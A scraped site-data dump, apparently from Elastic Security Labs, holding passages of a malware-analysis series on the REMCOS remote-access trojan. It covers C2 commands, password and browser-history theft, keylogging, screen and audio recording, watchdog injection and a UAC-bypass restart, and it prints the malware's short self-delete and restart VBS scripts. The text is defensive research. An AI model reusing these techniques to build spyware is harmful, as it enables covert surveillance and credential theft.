EditRegistry\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x30\"}),(0,t.jsx)(e.td,{children:\"StartChatModule\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x31\"}),(0,t.jsx)(e.td,{children:\"SetBotnetName\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x32\"}),(0,t.jsx)(e.td,{children:\"StartProxyModule\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x34\"}),(0,t.jsx)(e.td,{children:\"ManageService\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x8F\"}),(0,t.jsx)(e.td,{children:\"SearchFile\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x92\"}),(0,t.jsx)(e.td,{children:\"SetWallpaperFromC2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x94\"}),(0,t.jsx)(e.td,{children:\"SetWindowTextThenListProcessesWindow\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x97\"}),(0,t.jsx)(e.td,{children:\"UploadDataFromDXDiag\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x98\"}),(0,t.jsx)(e.td,{children:\"FileManager\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x99\"}),(0,t.jsx)(e.td,{children:\"ListUploadScreenshots\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x9A\"}),(0,t.jsx)(e.td,{children:\"DumpBrowserHistoryUsingNirsoft\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x9E\"}),(0,t.jsx)(e.td,{children:\"TriggerAlarmWav\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x9F\"}),(0,t.jsx)(e.td,{children:\"EnableAlarmOnC2Disconnect\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xA0\"}),(0,t.jsx)(e.td,{children:\"DisableAlarmOnC2Disconnect\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xA2\"}),(0,t.jsx)(e.td,{children:\"DownloadAlarmWavFromC2AndOptPlayIt\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xA3\"}),(0,t.jsx)(e.td,{children:\"AudioPlayer\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xAB\"}),(0,t.jsx)(e.td,{children:\"ElevateProcess\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xAC\"}),(0,t.jsx)(e.td,{children:\"EnableLoggingConsole\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xAD\"}),(0,t.jsx)(e.td,{children:\"ShowWindow\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xAE\"}),(0,t.jsx)(e.td,{children:\"HideWindow\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xB2\"}),(0,t.jsx)(e.td,{children:\"ShellExecuteOrInjectPEFromC2OrURL\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC5\"}),(0,t.jsx)(e.td,{children:\"RegistrySetHlightValue\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC6\"}),(0,t.jsx)(e.td,{children:\"UploadBrowsersCookiesAndPasswords\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC8\"}),(0,t.jsx)(e.td,{children:\"SuspendProcess\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC9\"}),(0,t.jsx)(e.td,{children:\"ResumeProcess\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xCA\"}),(0,t.jsx)(e.td,{children:\"ReadFile\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xCB\"}),(0,t.jsx)(e.td,{children:\"WriteFile\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xCC\"}),(0,t.jsx)(e.td,{children:\"StartOfflineKeylogger\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xCD\"}),(0,t.jsx)(e.td,{children:\"StopOfflineKeylogger\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xCE\"}),(0,t.jsx)(e.td,{children:\"ListProcessesTCPandUDPTables\"})]})]})]})}),`\n`,(0,t.jsx)(e.h3,{id:\"listinstalledapplications-command\",children:\"ListInstalledApplications command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To list installed applications, REMCOS iterates over the \",(0,t.jsx)(e.code,{children:\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\"}),\" registry key. For each subkey, it queries the following values:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"DisplayName\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"Publisher\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"DisplayVersion\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"InstallLocation\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"InstallDate\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"UninstallString\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image61.png\",alt:\"0x41C68F REMCOS listing installed applications\",width:\"813\",height:\"653\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"executeshellcmd-command\",children:\"ExecuteShellCmd command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Shell commands are executed using the ShellExecuteW API with \",(0,t.jsx)(e.code,{children:\"cmd.exe /C {command}\"}),\" as arguments.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image19.png\",alt:\"Executing a shell command using ShellExecuteW with cmd.exe\",width:\"1135\",height:\"126\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"gethostgeolocation-command\",children:\"GetHostGeolocation command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To obtain host geolocation, REMCOS utilizes the \",(0,t.jsx)(e.a,{href:\"http://geoplugin.net\",rel:\"nofollow\",children:\"geoplugin.net\"}),\" API and directly uploads the returned JSON data.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image91.png\",alt:\"Requesting geolocation information from geoplugin.net\",width:\"600\",height:\"80\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"startonlinekeylogger-command\",children:\"StartOnlineKeylogger command\"}),`\n`,(0,t.jsx)(e.p,{children:\"The online keylogger employs the same keylogger structure as the offline version. However, instead of writing the data to the disk, the data is sent live to the C2.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image23.png\",alt:\"0x40AEEE Initialization of the online keylogger\",width:\"831\",height:\"249\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"startwebcammodule-command\",children:\"StartWebcamModule command\"}),`\n`,(0,t.jsx)(e.p,{children:\"REMCOS uses an external module for webcam recording. This module is a DLL that must be received and loaded from its C2 as part of the command parameters.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image93.png\",alt:\"0x404582 REMCOS loading the webcam module from C2\",width:\"836\",height:\"143\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once the module is loaded, you can send a sub-command to capture and upload a webcam picture.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image52.png\",alt:\"0x4044F5 Sub-command handler for capturing and uploading pictures\",width:\"609\",height:\"275\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"stealpasswords-command\",children:\"StealPasswords command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Password stealing is likely carried out using 3 different \",(0,t.jsx)(e.a,{href:\"https://www.nirsoft.net/\",rel:\"nofollow\",children:\"Nirsoft\"}),' binaries, identified by the \"/sext\" parameters. These binaries are received from the C2 and injected into a freshly created process. Both elements are part of the command parameters.']}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image72.png\",alt:\"0x412BAA REMCOS injects one of the Nirsoft binary into a freshly created process\",width:\"738\",height:\"92\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"/sext\"}),\" parameter instructs the software to write the output to a file, each output filename is randomly generated and stored in the malware installation folder. Once their contents are read and uploaded to the C2, they are deleted.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image87.png\",alt:\"0x412B12 Building random filename for the Nirsoft output file\",width:\"678\",height:\"51\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image98.png\",alt:\"Read and delete the output file\",width:\"384\",height:\"111\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"An additional DLL, with a \",(0,t.jsx)(e.a,{href:\"https://github.com/jacobsoo/FoxmailRecovery\",rel:\"nofollow\",children:\"FoxMailRecovery\"}),\" export, can also be utilized. Like the other binaries, the DLL is received from the C2 as part of the command parameters. As the name implies the DLLis likely to be used to dump FoxMail data\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image17.png\",alt:\"Loading additional dll with FoxMailRecovery export\",width:\"747\",height:\"79\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"uninstall-command\",children:\"Uninstall command\"}),`\n`,(0,t.jsx)(e.p,{children:\"The uninstall command will delete all Remcos-related files and persistence registry keys from the host machine.\"}),`\n`,(0,t.jsxs)(e.p,{children:[`First, it kills the watchdog process.\n`,(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image38.png\",alt:\"0x040D0A0 Killing the watchdog process\",width:\"252\",height:\"56\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"Then, it deletes all the recording files (keylogging, screenshots, and audio recordings).\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image88.png\",alt:\"0x40D0A5 Deleting * recording files\",width:\"548\",height:\"171\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Then, it deletes its registry persistence keys.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image47.png\",alt:\"0x40D0EC Deleting * persistence keys\",width:\"878\",height:\"279\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, it deletes its installation files by creating and executing a Visual Basic script in the %TEMP% folder with a random filename, then terminates its process.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image75.png\",alt:\"0x40D412 Executing the delete visual basic script and exit\",width:\"747\",height:\"51\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Below the generated script with comments.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`' Continue execution even if an error occurs\nOn Error Resume Next\n\n' Create a FileSystemObject\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\n\n' Loop while the specified file exists\nwhile fso.FileExists(\"C:\\\\Users\\\\Cyril\\\\Desktop\\\\corpus\\\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\")\n\n' Delete the specified file\nfso.DeleteFile \"C:\\\\Users\\\\Cyril\\\\Desktop\\\\corpus\\\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\"\n\n' End of the loop\nwend\n\n' Delete the script itself\nfso.DeleteFile(Wscript.ScriptFullName)\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"restart-command\",children:\"Restart command\"}),`\n`,(0,t.jsx)(e.p,{children:\"The Restart command kills the watchdog process and restarts the REMCOS binary using a generated Visual Basic script.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below is the generated script with comments.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`' Create a WScript.Shell object and run a command in the command prompt\n' The command runs the specified .exe file\n' The \"0\" argument means the command prompt window will not be displayed\nCreateObject(\"WScript.Shell\").Run \"cmd /c \"\"C:\\\\Users\\\\Cyril\\\\Desktop\\\\corpus\\\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\"\"\", 0\n\n' Create a FileSystemObject and delete the script itself\nCreateObject(\"Scripting.FileSystemObject\").DeleteFile(Wscript.ScriptFullName)\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"dumpbrowserhistoryusingnirsoft-command\",children:\"DumpBrowserHistoryUsingNirsoft command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Like the StealPasswords command, the DumpBrowserHistoryUsingNirsoft command steals browser history using likely another Nirsoft binary received from the C2 as part of the command parameter. Again, we identify the binary as part of Nirsoft because of the \",(0,t.jsx)(e.code,{children:\"/stext\"}),\" parameter.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image46.png\",alt:\"0x40404C Dumping browsers history using likely Nirsoft binary\",width:\"874\",height:\"168\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"elevateprocess-command\",children:\"ElevateProcess command\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The ElevateProcess command, if the process isn\\u2019t already running with administrator privileges, will set the \",(0,t.jsx)(e.code,{children:\"HKCU/SOFTWARE/{mutex}/elev\"}),\" registry key and restart the malware using the same method as the Restart command.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image26.png\",alt:\"0x416EF6 Set the elev registry key and restart\",width:\"820\",height:\"320\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon restart, the REMCOS checks the \",(0,t.jsx)(e.code,{children:\"elev\"}),\" value as part of its initialization phase. If the value exists, it'll delete it and utilize its UAC bypass feature to elevate its privileges.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image95.png\",alt:\"0x40EC39 Forced UAC bypass if the elev key exists in the registry\",width:\"321\",height:\"82\"})}),`\n`,(0,t.jsx)(e.p,{children:\"That\\u2019s the end of the third article. In the final part we\\u2019ll cover detection and hunt strategies of REMCOS using Elastic technologies.\"})]})}function _(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(s,i)})):s(i)}var C=_;return y(S);})();\n;return Component;"},"_id":"articles/dissecting-remcos-rat-part-three.mdx","_raw":{"sourceFilePath":"articles/dissecting-remcos-rat-part-three.mdx","sourceFileName":"dissecting-remcos-rat-part-three.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dissecting-remcos-rat-part-three"},"type":"Article","imageUrl":"/assets/images/dissecting-remcos-rat-part-three/Security Labs Images 14.jpg","readingTime":"12 min read","series":"","url":"/dissecting-remcos-rat-part-three","headings":[{"level":2,"title":"The configuration","href":"#the-configuration"},{"level":3,"title":"Configuration Table","href":"#configuration-table"},{"level":3,"title":"Integer to path mapping","href":"#integer-to-path-mapping"},{"level":3,"title":"Configuration extraction, an inside perspective","href":"#configuration-extraction-an-inside-perspective"},{"level":2,"title":"C2 commands","href":"#c2-commands"},{"level":3,"title":"Command table","href":"#command-table"},{"level":3,"title":"ListInstalledApplications command","href":"#listinstalledapplications-command"},{"level":3,"title":"ExecuteShellCmd command","href":"#executeshellcmd-command"},{"level":3,"title":"GetHostGeolocation command","href":"#gethostgeolocation-command"},{"level":3,"title":"StartOnlineKeylogger command","href":"#startonlinekeylogger-command"},{"level":3,"title":"StartWebcamModule command","href":"#startwebcammodule-command"},{"level":3,"title":"StealPasswords command","href":"#stealpasswords-command"},{"level":3,"title":"Uninstall command","href":"#uninstall-command"},{"level":3,"title":"Restart command","href":"#restart-command"},{"level":2,"title":"DumpBrowserHistoryUsingNirsoft command","href":"#dumpbrowserhistoryusingnirsoft-command"},{"level":3,"title":"ElevateProcess command","href":"#elevateprocess-command"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two","slug":"dissecting-remcos-rat-part-two","date":"2024-04-30","description":"In the previous article in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.","image":"Security Labs Images 21.jpg","subtitle":"Part two: Diving into REMCOS recording capabilities, launch, and C2 communication","tags":["malware-analysis","remcos"],"body":{"raw":"\nIn the [previous article](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one) in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.\n\n## Starting watchdog\n\nIf the ```enable_watchdog_flag``` (index ```0x32```) is enabled, the REMCOS will activate its watchdog feature.\n\n![0x40F24F Starting watchdog feature if enabled in the configuration](/assets/images/dissecting-remcos-rat-part-two/image68.png)\n\n\nThis feature involves the malware launching a new process, injecting itself into it, and monitoring the main process. The goal of the watchdog is to restart the main process in case it gets terminated. The main process can also restart the watchdog if it gets terminated.\n\n\n![Console message indicating activation of watchdog module](/assets/images/dissecting-remcos-rat-part-two/image49.png)\n\n\nThe target binary for watchdog injection is selected from a hardcoded list, choosing the first binary for which the process creation and injection are successful:\n\n - ```svchost.exe```\n - ```rmclient.exe```\n - ```fsutil.exe```\n\n![0x4122C5 Watchdog target process selection](/assets/images/dissecting-remcos-rat-part-two/image32.png)\n\n\nIn this example, the watchdog process is ```svchost.exe```.\n\n![svchost.exe watchdog process](/assets/images/dissecting-remcos-rat-part-two/image3.png)\n\n\nThe registry value ```HKCU/SOFTWARE/{MUTEX}/WD``` is created before starting the watchdog process and contains the main process PID.\n\n![The main process PID is saved in the WD registry key](/assets/images/dissecting-remcos-rat-part-two/image31.png)\n\n\nOnce REMCOS is running in the watchdog process, it takes a \"special\" execution path by verifying if the ```WD``` value exists in the malware registry key. If it does, the value is deleted, and the monitoring procedure function is invoked.\n \n![0x40EB54 Watchdog execution path when WD registry value exists](/assets/images/dissecting-remcos-rat-part-two/image63.png)\n\nIt is worth noting that the watchdog process has a special mutex to differentiate it from the main process mutex. This mutex string is derived from the configuration (index ```0xE```) and appended with ```-W```.\n\n![Mutex field in the configuration](/assets/images/dissecting-remcos-rat-part-two/image92.png)\n\n\n![Comparison between main process and watchdog process mutexes](/assets/images/dissecting-remcos-rat-part-two/image64.png)\n\n\nWhen the main process is terminated, the watchdog detects it and restarts it using the ```ShellExecuteW``` API with the path to the malware binary retrieved from the ```HKCU/SOFTWARE/{mutex}/exepath``` registry key\n\n![Console message indicating process restart by watchdog](/assets/images/dissecting-remcos-rat-part-two/image30.png)\n\n\n## Starting recording threads\n\n### Keylogging thread\n\nThe offline keylogger has two modes of operation:\n\n 1. Keylog everything\n 2. Enable keylogging when specific windows are in the foreground\n\nWhen the ```keylogger_mode``` (index ```0xF```) field is set to 1 or 2 in the configuration, REMCOS activates its \"Offline Keylogger\" capability.\n\n![](/assets/images/dissecting-remcos-rat-part-two/image62.png)\n\n\nKeylogging is accomplished using the ```SetWindowsHookExA``` API with the ```WH_KEYBOARD_LL``` constant.\n\n![0x40A2B8 REMCOS setting up keyboard event hook using SetWindowsHookExA](/assets/images/dissecting-remcos-rat-part-two/image23.png)\n\n\nThe file where the keylogging data is stored is built using the following configuration fields:\n\n - ```keylogger_root_directory``` (index ```0x31```)\n - ```keylogger_parent_directory``` (index ```0x10```)\n - ```keylogger_filename``` (index ```0x11```)\n\nThe keylogger file path is ```{keylogger_root_directory}/{keylogger_parent_directory}/{keylogger_filename}```. In this case, it will be ```%APPDATA%/keylogger.dat```.\n\n![Keylogging data file keylogger.dat](/assets/images/dissecting-remcos-rat-part-two/image8.png)\n\n\n![Keylogging data content](/assets/images/dissecting-remcos-rat-part-two/image94.png)\n\n\nThe keylogger file can be encrypted by enabling the ```enable_keylogger_file_encryption_flag``` (index ```0x12```) flag in the configuration. It will be encrypted using the RC4 algorithm and the configuration key.\n\n![0x40A7FC Decrypting, appending, and re-encrypting the keylogging data file](/assets/images/dissecting-remcos-rat-part-two/image51.png)\n\n\nThe file can also be made super hidden by enabling the ```enable_keylogger_file_hiding_flag``` (index ```0x13```) flag in the configuration.\n\nWhen using the second keylogging mode, you need to set the ```keylogger_specific_window_names``` (index ```0x2A```) field with strings that will be searched in the current foreground window title every 5 seconds.\n\n![0x40A109 Keylogging mode choice](/assets/images/dissecting-remcos-rat-part-two/image84.png)\n\n\nUpon a match, keylogging begins. Subsequently, the current foreground window is checked every second to stop the keylogger if the title no longer contains the specified strings.\n\n![Monitoring foreground window for keylogging activation](/assets/images/dissecting-remcos-rat-part-two/image79.png)\n\n\n### Screen recording threads\n\nWhen the ```enable_screenshot_flag``` (index ```0x14```) is enabled in the configuration, REMCOS will activate its screen recording capability.\n\n![0x40F0B3 Starting screen recording capability when enabled in configuration](/assets/images/dissecting-remcos-rat-part-two/image81.png)\n\n\nTo take a screenshot, REMCOS utilizes the ```CreateCompatibleBitmap``` and the ```BitBlt``` Windows APIs. If the ```enable_screenshot_mouse_drawing_flag``` (index ```0x35```) flag is enabled, the mouse is also drawn on the bitmap using the ```GetCursorInfo```, ```GetIconInfo```, and the ```DrawIcon``` API.\n\n![0x418E76 Taking screenshot 1/2](/assets/images/dissecting-remcos-rat-part-two/image6.png)\n\n\n![0x418E76 Taking screenshot 2/2](/assets/images/dissecting-remcos-rat-part-two/image82.png)\n\n\nThe path to the folder where the screenshots are stored is constructed using the following configuration:\n - ```screenshot_parent_directory``` (index ```0x19```)\n - ```screenshot_folder``` (index ```0x1A```)\n\nThe final path is ```{screenshot_parent_directory}/{screenshot_folder}```.\n\nREMCOS utilizes the ```screenshot_interval_in_minutes``` (index ```0x15```) field to capture a screenshot every X minutes and save it to disk using the following format string: ```time_%04i%02i%02i_%02i%02i%02i```.\n\n![Location where screenshots are saved](/assets/images/dissecting-remcos-rat-part-two/image45.png)\n\n\nSimilarly to keylogging data, when the ```enable_screenshot_encryption_flag``` (index ```0x1B```) is enabled, the screenshots are saved encrypted using the RC4 encryption algorithm and the configuration key.\n\nAt the top, REMCOS has a similar \"specific window\" feature for its screen recording as its keylogging capability. When the ```enable_screenshot_specific_window_names_flag``` (index ```0x16```) is set, a second screen recording thread is initiated.\n\n![0x40F108 Starting specific window screen recording capability when enabled in configuration](/assets/images/dissecting-remcos-rat-part-two/image20.png)\n\n\n\nThis time, it utilizes the ```screenshot_specific_window_names``` (index ```0x17```) list of strings to capture a screenshot when the foreground window title contains one of the specified strings. Screenshots are taken every X seconds, as specified by the ```screenshot_specific_window_names_interval_in_seconds``` (index ```0x18```) field.\n\nIn this case, the screenshots are saved on the disk using a different format string: ```wnd_%04i%02i%02i_%02i%02i%02i```. Below is an example using [\"notepad\"] as the list of specific window names and setting the Notepad process window in the foreground.\n\n![Screenshot triggered when Notepad window is in the foreground](/assets/images/dissecting-remcos-rat-part-two/image89.png)\n\n\n### Audio recording thread\n\nWhen the ```enable_audio_recording_flag``` (index ```0x23```) is enabled, REMCOS initiates its audio recording capability.\n\n![0x40F159 Starting audio recording capability when enabled in configuration](/assets/images/dissecting-remcos-rat-part-two/image24.png)\n\n\nThe recording is conducted using the Windows ```Wave*``` API. The duration of the recording is specified in minutes by the ```audio_recording_duration_in_minutes``` (```0x24```) configuration field.\n\n![0x401BE9 Initialization of audio 